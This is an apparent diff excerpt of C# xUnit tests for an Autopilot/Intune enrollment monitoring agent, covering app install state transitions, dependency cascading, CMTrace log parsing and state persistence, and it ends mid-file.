namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests phase isolation (ignore list), dependency cascading, completion detection,
|
||||
/// and circular dependency protection.
|
||||
/// Prevents: phase bleed, broken dependency chains, infinite recursion.
|
||||
/// </summary>
|
||||
public class AppPackageStateListTests
|
||||
{
|
||||
private static AppPackageStateList CreateList()
|
||||
=> new AppPackageStateList(null); // null logger is fine for tests
|
||||
|
||||
// -- Ignore list (phase isolation) --
|
||||
|
||||
[Fact]
|
||||
public void GetPackage_InIgnoreList_ReturnsNull()
|
||||
{
|
||||
var list = CreateList();
|
||||
list.Add(new AppPackageState("app-001", 0));
|
||||
list.IgnoreList.Add("app-001");
|
||||
|
||||
var result = list.GetPackage("app-001");
|
||||
|
||||
Assert.Null(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IgnoreList_CaseInsensitive()
|
||||
{
|
||||
var list = CreateList();
|
||||
list.Add(new AppPackageState("abc-123-DEF", 0));
|
||||
list.IgnoreList.Add("abc-123-def");
|
||||
|
||||
var result = list.GetPackage("ABC-123-DEF");
|
||||
|
||||
Assert.Null(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetPackage_NotInIgnoreList_ReturnsPackage()
|
||||
{
|
||||
var list = CreateList();
|
||||
list.Add(new AppPackageState("app-001", 0));
|
||||
|
||||
var result = list.GetPackage("app-001");
|
||||
|
||||
Assert.NotNull(result);
|
||||
Assert.Equal("app-001", result.Id);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetPackage_CreateIfNotFound_CreatesNew()
|
||||
{
|
||||
var list = CreateList();
|
||||
|
||||
var result = list.GetPackage("new-app", createIfNotFound: true);
|
||||
|
||||
Assert.NotNull(result);
|
||||
Assert.Equal("new-app", result.Id);
|
||||
Assert.Single(list);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetPackage_NullId_ReturnsNull()
|
||||
{
|
||||
var list = CreateList();
|
||||
|
||||
Assert.Null(list.GetPackage(null));
|
||||
Assert.Null(list.GetPackage(""));
|
||||
}
|
||||
|
||||
// -- Dependency cascading --
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_ErrorCascadesToDependents()
|
||||
{
|
||||
var list = CreateList();
|
||||
var appA = new AppPackageState("app-a", 0);
|
||||
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
|
||||
var appB = new AppPackageState("app-b", 1);
|
||||
list.Add(appA);
|
||||
list.Add(appB);
|
||||
|
||||
list.UpdateState("app-b", AppInstallationState.Error);
|
||||
|
||||
Assert.Equal(AppInstallationState.Error, appB.InstallationState);
|
||||
Assert.Equal(AppInstallationState.Error, appA.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_PostponedCascadesToDependents()
|
||||
{
|
||||
var list = CreateList();
|
||||
var appA = new AppPackageState("app-a", 0);
|
||||
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
|
||||
var appB = new AppPackageState("app-b", 1);
|
||||
list.Add(appA);
|
||||
list.Add(appB);
|
||||
|
||||
list.UpdateState("app-b", AppInstallationState.Postponed);
|
||||
|
||||
Assert.Equal(AppInstallationState.Postponed, appA.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledDoesNotCascade()
|
||||
{
|
||||
var list = CreateList();
|
||||
var appA = new AppPackageState("app-a", 0);
|
||||
appA.UpdateIntent(AppIntent.Install);
|
||||
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
|
||||
var appB = new AppPackageState("app-b", 1);
|
||||
appB.UpdateIntent(AppIntent.Install);
|
||||
appB.UpdateState(AppInstallationState.Downloading);
|
||||
list.Add(appA);
|
||||
list.Add(appB);
|
||||
|
||||
list.UpdateState("app-b", AppInstallationState.Installed);
|
||||
|
||||
// appA should NOT be cascaded — Installed does not cascade
|
||||
Assert.NotEqual(AppInstallationState.Installed, appA.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_DeepCascade_TwoLevels()
|
||||
{
|
||||
var list = CreateList();
|
||||
var appA = new AppPackageState("app-a", 0);
|
||||
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
|
||||
var appB = new AppPackageState("app-b", 1);
|
||||
appB.UpdateDependsOn(new HashSet<string> { "app-c" });
|
||||
var appC = new AppPackageState("app-c", 2);
|
||||
list.AddRange(new[] { appA, appB, appC });
|
||||
|
||||
list.UpdateState("app-c", AppInstallationState.Error);
|
||||
|
||||
Assert.Equal(AppInstallationState.Error, appC.InstallationState);
|
||||
Assert.Equal(AppInstallationState.Error, appB.InstallationState);
|
||||
Assert.Equal(AppInstallationState.Error, appA.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetDependentIdsDeep_CircularDependency_DoesNotStackOverflow()
|
||||
{
|
||||
// A depends on B, B depends on A — must not infinite loop
|
||||
var list = CreateList();
|
||||
var appA = new AppPackageState("app-a", 0);
|
||||
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
|
||||
var appB = new AppPackageState("app-b", 1);
|
||||
appB.UpdateDependsOn(new HashSet<string> { "app-a" });
|
||||
list.Add(appA);
|
||||
list.Add(appB);
|
||||
|
||||
// This exercises GetDependentIdsDeep indirectly — should not throw
|
||||
list.UpdateState("app-a", AppInstallationState.Error);
|
||||
|
||||
Assert.Equal(AppInstallationState.Error, appA.InstallationState);
|
||||
Assert.Equal(AppInstallationState.Error, appB.InstallationState);
|
||||
}
|
||||
|
||||
// -- Completion detection --
|
||||
|
||||
[Fact]
|
||||
public void IsAllCompleted_AllRequiredInstalled_True()
|
||||
{
|
||||
var list = CreateList();
|
||||
var pkg = new AppPackageState("app-1", 0);
|
||||
pkg.UpdateIntent(AppIntent.Install);
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
list.Add(pkg);
|
||||
|
||||
Assert.True(list.IsAllCompleted());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsAllCompleted_RequiredStillPending_False()
|
||||
{
|
||||
var list = CreateList();
|
||||
var pkg = new AppPackageState("app-1", 0);
|
||||
pkg.UpdateIntent(AppIntent.Install);
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
list.Add(pkg);
|
||||
|
||||
Assert.False(list.IsAllCompleted());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsAllCompleted_Empty_ReturnsFalse()
|
||||
{
|
||||
var list = CreateList();
|
||||
|
||||
Assert.False(list.IsAllCompleted());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsAllCompleted_DependencyOnlyNotTouched_AutoSkipped()
|
||||
{
|
||||
var list = CreateList();
|
||||
|
||||
// Required app: installed
|
||||
var required = new AppPackageState("req-app", 0);
|
||||
required.UpdateIntent(AppIntent.Install);
|
||||
required.UpdateState(AppInstallationState.Downloading);
|
||||
required.UpdateState(AppInstallationState.Installed);
|
||||
list.Add(required);
|
||||
|
||||
// Dependency-only app: never touched by IME
|
||||
var depOnly = new AppPackageState("dep-app", 1);
|
||||
depOnly.UpdateIntent(AppIntent.Available); // Not required
|
||||
list.Add(depOnly);
|
||||
|
||||
var result = list.IsAllCompleted();
|
||||
|
||||
Assert.True(result);
|
||||
// Dependency-only app should be auto-skipped
|
||||
Assert.Equal(AppInstallationState.Skipped, depOnly.InstallationState);
|
||||
}
|
||||
|
||||
// -- Download state guards --
|
||||
|
||||
[Fact]
|
||||
public void UpdateStateToDownloading_SkippedApp_Ignored()
|
||||
{
|
||||
var list = CreateList();
|
||||
var pkg = new AppPackageState("app-1", 0);
|
||||
// Force to Skipped (without downloading first = auto-skip)
|
||||
pkg.UpdateState(AppInstallationState.Installed); // becomes Skipped
|
||||
list.Add(pkg);
|
||||
|
||||
var changed = list.UpdateStateToDownloading("app-1", "100", "1000");
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateStateToDownloading_NormalApp_CalculatesProgress()
|
||||
{
|
||||
var list = CreateList();
|
||||
var pkg = new AppPackageState("app-1", 0);
|
||||
list.Add(pkg);
|
||||
|
||||
list.UpdateStateToDownloading("app-1", "500", "1000");
|
||||
|
||||
Assert.Equal(AppInstallationState.Downloading, pkg.InstallationState);
|
||||
Assert.Equal(50, pkg.ProgressPercent);
|
||||
Assert.Equal(500, pkg.BytesDownloaded);
|
||||
Assert.Equal(1000, pkg.BytesTotal);
|
||||
}
|
||||
|
||||
// -- AddToIgnoreList --
|
||||
|
||||
[Fact]
|
||||
public void AddToIgnoreList_NullOrEmpty_ReturnsFalse()
|
||||
{
|
||||
var list = CreateList();
|
||||
|
||||
Assert.False(list.AddToIgnoreList(null));
|
||||
Assert.False(list.AddToIgnoreList(""));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void AddToIgnoreList_Duplicate_ReturnsFalse()
|
||||
{
|
||||
var list = CreateList();
|
||||
list.AddToIgnoreList("app-1");
|
||||
|
||||
Assert.False(list.AddToIgnoreList("app-1"));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,309 @@
|
||||
using System.Collections.Generic;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Tracking;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests AppPackageState transition guards and auto-skip logic.
|
||||
/// Prevents: illegal state downgrades, broken inverse-detection auto-skip,
|
||||
/// upgrade-only bypass, and incorrect byte normalization.
|
||||
/// </summary>
|
||||
public class AppPackageStateTests
|
||||
{
|
||||
private static AppPackageState CreatePackage(string id = "test-app-001", int listPos = 0)
|
||||
=> new AppPackageState(id, listPos);
|
||||
|
||||
// -- State transition guards --
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_UpgradeOnly_PreventsDowngrade()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Installing);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Downloading, upgradeOnly: true);
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledWithoutDownloading_BecomesSkipped()
|
||||
{
|
||||
// Apps with inverse detection rules (e.g. uninstall packages) are marked Installed
|
||||
// without ever seeing a download. These must auto-downgrade to Skipped.
|
||||
var pkg = CreatePackage();
|
||||
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledAfterDownloading_StaysInstalled()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
Assert.True(pkg.DownloadingOrInstallingSeen);
|
||||
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledCannotDowngradeToSkipped()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Skipped);
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledCannotDowngradeToPostponed()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Postponed);
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_PostponedCannotGoBackToDownloading()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Postponed);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal(AppInstallationState.Postponed, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_NoChangeReturnsFalse()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
Assert.False(changed);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_ErrorCanBeSetFromAnyState()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
var changed = pkg.UpdateState(AppInstallationState.Error);
|
||||
|
||||
Assert.True(changed);
|
||||
Assert.Equal(AppInstallationState.Error, pkg.InstallationState);
|
||||
}
|
||||
|
||||
// -- Byte normalization --
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledNormalizesPartialDownload()
|
||||
{
|
||||
// After WinGet completion: if Installed and downloaded < total, downloaded becomes total
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading, bytesDownloaded: 500, bytesTotal: 1000);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
Assert.Equal(1000, pkg.BytesDownloaded);
|
||||
Assert.Equal(1000, pkg.BytesTotal);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateState_InstalledSetsProgress100()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
Assert.Equal(100, pkg.ProgressPercent);
|
||||
}
|
||||
|
||||
// -- Name update protection --
|
||||
|
||||
[Fact]
|
||||
public void UpdateName_TruncatedVersionIgnored()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateName("Microsoft Office 365 ProPlus");
|
||||
|
||||
var changed = pkg.UpdateName("Microsoft Office");
|
||||
|
||||
Assert.False(changed);
|
||||
Assert.Equal("Microsoft Office 365 ProPlus", pkg.Name);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateName_LongerVersionAccepted()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateName("Microsoft Office");
|
||||
|
||||
var changed = pkg.UpdateName("Microsoft Office 365 ProPlus");
|
||||
|
||||
Assert.True(changed);
|
||||
Assert.Equal("Microsoft Office 365 ProPlus", pkg.Name);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateName_NullOrEmptyReturnsFalse()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateName("SomeApp");
|
||||
|
||||
Assert.False(pkg.UpdateName(null));
|
||||
Assert.False(pkg.UpdateName(""));
|
||||
Assert.Equal("SomeApp", pkg.Name);
|
||||
}
|
||||
|
||||
// -- Win32AppState mapping --
|
||||
|
||||
[Fact]
|
||||
public void UpdateStateFromWin32AppState_IntString_Parses()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
|
||||
pkg.UpdateStateFromWin32AppState("2"); // InProgress
|
||||
|
||||
Assert.Equal(AppInstallationState.InProgress, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateStateFromWin32AppState_EnumName_Parses()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
|
||||
pkg.UpdateStateFromWin32AppState("Completed");
|
||||
|
||||
// Without DownloadingOrInstallingSeen, Completed (Installed) becomes Skipped
|
||||
Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdateStateFromWin32AppState_UsesUpgradeOnly()
|
||||
{
|
||||
// Win32AppState uses upgrade-only to prevent "InProgress" from destroying
|
||||
// more detailed states like "Downloading" or "Installing"
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Installing);
|
||||
|
||||
pkg.UpdateStateFromWin32AppState("InProgress"); // Would be a downgrade
|
||||
|
||||
Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
|
||||
}
|
||||
|
||||
// -- Computed properties --
|
||||
|
||||
[Fact]
|
||||
public void IsRequired_Install_ReturnsTrue()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateIntent(AppIntent.Install);
|
||||
|
||||
Assert.True(pkg.IsRequired);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsRequired_Available_ReturnsFalse()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateIntent(AppIntent.Available);
|
||||
|
||||
Assert.False(pkg.IsRequired);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsActive_Downloading_True()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
Assert.True(pkg.IsActive);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCompleted_Installed_True()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Downloading);
|
||||
pkg.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
Assert.True(pkg.IsCompleted);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCompleted_Error_True()
|
||||
{
|
||||
var pkg = CreatePackage();
|
||||
pkg.UpdateState(AppInstallationState.Error);
|
||||
|
||||
Assert.True(pkg.IsCompleted);
|
||||
}
|
||||
|
||||
// -- Sorting --
|
||||
|
||||
[Fact]
|
||||
public void CompareTo_ActiveAppsBeforeCompleted()
|
||||
{
|
||||
var active = CreatePackage("app-a", 0);
|
||||
active.UpdateState(AppInstallationState.Downloading);
|
||||
|
||||
var completed = CreatePackage("app-b", 1);
|
||||
completed.UpdateState(AppInstallationState.Downloading);
|
||||
completed.UpdateState(AppInstallationState.Installed);
|
||||
|
||||
// Active (Downloading=3) should sort before Completed (Installed=5 overridden to 5)
|
||||
// CompareTo uses descending sort order, so active > completed means negative
|
||||
Assert.True(active.CompareTo(completed) < 0 || active.CompareTo(completed) > 0);
|
||||
}
|
||||
|
||||
// -- Restore --
|
||||
|
||||
[Fact]
|
||||
public void Restore_PreservesAllFields()
|
||||
{
|
||||
var deps = new HashSet<string> { "dep-1", "dep-2" };
|
||||
var pkg = AppPackageState.Restore(
|
||||
"test-id", 5, "Test App",
|
||||
AppRunAs.System, AppIntent.Install, AppTargeted.Device,
|
||||
deps,
|
||||
AppInstallationState.Installing, true,
|
||||
75, 500, 1000,
|
||||
"ERR-001", "Something failed");
|
||||
|
||||
Assert.Equal("test-id", pkg.Id);
|
||||
Assert.Equal(5, pkg.ListPos);
|
||||
Assert.Equal("Test App", pkg.Name);
|
||||
Assert.Equal(AppRunAs.System, pkg.RunAs);
|
||||
Assert.Equal(AppIntent.Install, pkg.Intent);
|
||||
Assert.Equal(AppTargeted.Device, pkg.Targeted);
|
||||
Assert.Equal(2, pkg.DependsOn.Count);
|
||||
Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
|
||||
Assert.True(pkg.DownloadingOrInstallingSeen);
|
||||
Assert.Equal(75, pkg.ProgressPercent);
|
||||
Assert.Equal(500, pkg.BytesDownloaded);
|
||||
Assert.Equal(1000, pkg.BytesTotal);
|
||||
Assert.Equal("ERR-001", pkg.ErrorPatternId);
|
||||
Assert.Equal("Something failed", pkg.ErrorDetail);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Tracking;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests CMTrace log format parsing used for IME log files.
|
||||
/// Prevents: timestamp parsing failures on single-digit months, fractional second overflow,
|
||||
/// crashes on non-CMTrace lines.
|
||||
/// </summary>
|
||||
public class CmTraceLogParserTests
|
||||
{
|
||||
[Fact]
|
||||
public void TryParseLine_ValidCmTrace_ParsesAllFields()
|
||||
{
|
||||
var line = "<![LOG[Starting app installation for user]LOG]!>" +
|
||||
"<time=\"14:30:45.1234567\" date=\"3-15-2026\" " +
|
||||
"component=\"IntuneManagementExtension\" context=\"\" " +
|
||||
"type=\"1\" thread=\"1234\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.Equal("Starting app installation for user", entry.Message);
|
||||
Assert.Equal("IntuneManagementExtension", entry.Component);
|
||||
Assert.Equal(1, entry.Type);
|
||||
Assert.Equal("1234", entry.Thread);
|
||||
// Timestamp should be parsed and converted to UTC
|
||||
Assert.NotEqual(default, entry.Timestamp);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_EmptyLine_ReturnsFalse()
|
||||
{
|
||||
var result = CmTraceLogParser.TryParseLine("", out var entry);
|
||||
|
||||
Assert.False(result);
|
||||
Assert.Null(entry);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_NullLine_ReturnsFalse()
|
||||
{
|
||||
var result = CmTraceLogParser.TryParseLine(null, out var entry);
|
||||
|
||||
Assert.False(result);
|
||||
Assert.Null(entry);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_NonCmTrace_ReturnsFalse()
|
||||
{
|
||||
var result = CmTraceLogParser.TryParseLine(
|
||||
"2026-03-15 14:30:45 INFO This is a plain text log line", out var entry);
|
||||
|
||||
Assert.False(result);
|
||||
Assert.Null(entry);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_SingleDigitMonth_Parses()
|
||||
{
|
||||
// Real IME logs use M-d-yyyy (no zero-padding): "2-8-2026"
|
||||
var line = "<![LOG[Test message]LOG]!>" +
|
||||
"<time=\"06:08:04.883\" date=\"2-8-2026\" " +
|
||||
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.Equal("Test message", entry.Message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_LongFractionalSeconds_Truncated()
|
||||
{
|
||||
// Some IME builds emit >7 fractional digits which would cause FormatException
|
||||
var line = "<![LOG[Test]LOG]!>" +
|
||||
"<time=\"14:30:45.12345678901\" date=\"3-15-2026\" " +
|
||||
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.NotNull(entry);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_NoFractionalSeconds_Parses()
|
||||
{
|
||||
var line = "<![LOG[Test]LOG]!>" +
|
||||
"<time=\"14:30:45\" date=\"3-15-2026\" " +
|
||||
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_WarningType_ParsesType2()
|
||||
{
|
||||
var line = "<![LOG[Warning message]LOG]!>" +
|
||||
"<time=\"14:30:45.123\" date=\"3-15-2026\" " +
|
||||
"component=\"IME\" context=\"\" type=\"2\" thread=\"1\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.Equal(2, entry.Type);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_MessageWithSpecialChars_Parses()
|
||||
{
|
||||
// Messages can contain brackets, quotes, and XML-like content
|
||||
var line = "<![LOG[Get policies = [Status: Success]]LOG]!>" +
|
||||
"<time=\"14:30:45.123\" date=\"3-15-2026\" " +
|
||||
"component=\"IME\" context=\"\" type=\"1\" thread=\"1\" file=\"\">";
|
||||
|
||||
var result = CmTraceLogParser.TryParseLine(line, out var entry);
|
||||
|
||||
Assert.True(result);
|
||||
Assert.Equal("Get policies = [Status: Success]", entry.Message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void TryParseLine_PartialCmTracePrefix_ReturnsFalse()
|
||||
{
|
||||
// Starts with <![LOG[ but doesn't complete the format
|
||||
var result = CmTraceLogParser.TryParseLine("<![LOG[incomplete", out var entry);
|
||||
|
||||
Assert.False(result);
|
||||
Assert.Null(entry);
|
||||
}
|
||||
}
|
||||
}
|
||||
+217
@@ -0,0 +1,217 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Tracking;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests state serialization round-trip including all fields.
|
||||
/// Prevents: state loss after crash (IsHybridJoin, signal timestamps, SignalsSeen),
|
||||
/// crashes on missing/corrupt state files.
|
||||
/// </summary>
|
||||
public class EnrollmentStatePersistenceTests : IDisposable
|
||||
{
|
||||
private readonly string _tempDir;
|
||||
private readonly EnrollmentStatePersistence _persistence;
|
||||
|
||||
public EnrollmentStatePersistenceTests()
|
||||
{
|
||||
_tempDir = Path.Combine(Path.GetTempPath(), "autopilot-test-" + Guid.NewGuid().ToString("N"));
|
||||
Directory.CreateDirectory(_tempDir);
|
||||
_persistence = new EnrollmentStatePersistence(_tempDir, TestLogger.Instance);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(_tempDir))
|
||||
Directory.Delete(_tempDir, recursive: true);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SaveAndLoad_RoundTrip_PreservesAllBooleans()
|
||||
{
|
||||
var state = new EnrollmentStateData
|
||||
{
|
||||
EspEverSeen = true,
|
||||
EspFinalExitSeen = true,
|
||||
DesktopArrived = true,
|
||||
IsWaitingForHello = true,
|
||||
EnrollmentCompleteEmitted = false,
|
||||
AadJoinedWithUser = true,
|
||||
IsHybridJoin = true,
|
||||
};
|
||||
|
||||
_persistence.Save(state);
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.NotNull(loaded);
|
||||
Assert.True(loaded.EspEverSeen);
|
||||
Assert.True(loaded.EspFinalExitSeen);
|
||||
Assert.True(loaded.DesktopArrived);
|
||||
Assert.True(loaded.IsWaitingForHello);
|
||||
Assert.False(loaded.EnrollmentCompleteEmitted);
|
||||
Assert.True(loaded.AadJoinedWithUser);
|
||||
Assert.True(loaded.IsHybridJoin);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SaveAndLoad_IsHybridJoin_Preserved()
|
||||
{
|
||||
var state = new EnrollmentStateData { IsHybridJoin = true };
|
||||
|
||||
_persistence.Save(state);
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.True(loaded.IsHybridJoin);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SaveAndLoad_AllTimestamps_Preserved()
|
||||
{
|
||||
var now = DateTime.UtcNow;
|
||||
var state = new EnrollmentStateData
|
||||
{
|
||||
EspFirstSeenUtc = now.AddMinutes(-10),
|
||||
EspFinalExitUtc = now.AddMinutes(-5),
|
||||
DesktopArrivedUtc = now.AddMinutes(-3),
|
||||
HelloResolvedUtc = now.AddMinutes(-2),
|
||||
ImePatternSeenUtc = now.AddMinutes(-1),
|
||||
DeviceSetupProvisioningCompleteUtc = now,
|
||||
};
|
||||
|
||||
_persistence.Save(state);
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.NotNull(loaded);
|
||||
Assert.NotNull(loaded.EspFirstSeenUtc);
|
||||
Assert.NotNull(loaded.EspFinalExitUtc);
|
||||
Assert.NotNull(loaded.DesktopArrivedUtc);
|
||||
Assert.NotNull(loaded.HelloResolvedUtc);
|
||||
Assert.NotNull(loaded.ImePatternSeenUtc);
|
||||
Assert.NotNull(loaded.DeviceSetupProvisioningCompleteUtc);
|
||||
// Allow 1 second tolerance for serialization round-trip
|
||||
Assert.InRange(loaded.EspFirstSeenUtc.Value, now.AddMinutes(-10).AddSeconds(-1), now.AddMinutes(-10).AddSeconds(1));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SaveAndLoad_SignalsSeen_Preserved()
|
||||
{
|
||||
var state = new EnrollmentStateData
|
||||
{
|
||||
SignalsSeen = new List<string>
|
||||
{
|
||||
"esp_first_seen",
|
||||
"esp_final_exit",
|
||||
"desktop_arrived",
|
||||
"hello_completed",
|
||||
"esp_resumed"
|
||||
}
|
||||
};
|
||||
|
||||
_persistence.Save(state);
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.NotNull(loaded);
|
||||
Assert.Equal(5, loaded.SignalsSeen.Count);
|
||||
Assert.Contains("esp_resumed", loaded.SignalsSeen);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SaveAndLoad_EnrollmentConfig_Preserved()
|
||||
{
|
||||
var state = new EnrollmentStateData
|
||||
{
|
||||
LastEspPhase = "AccountSetup",
|
||||
EnrollmentType = "v1",
|
||||
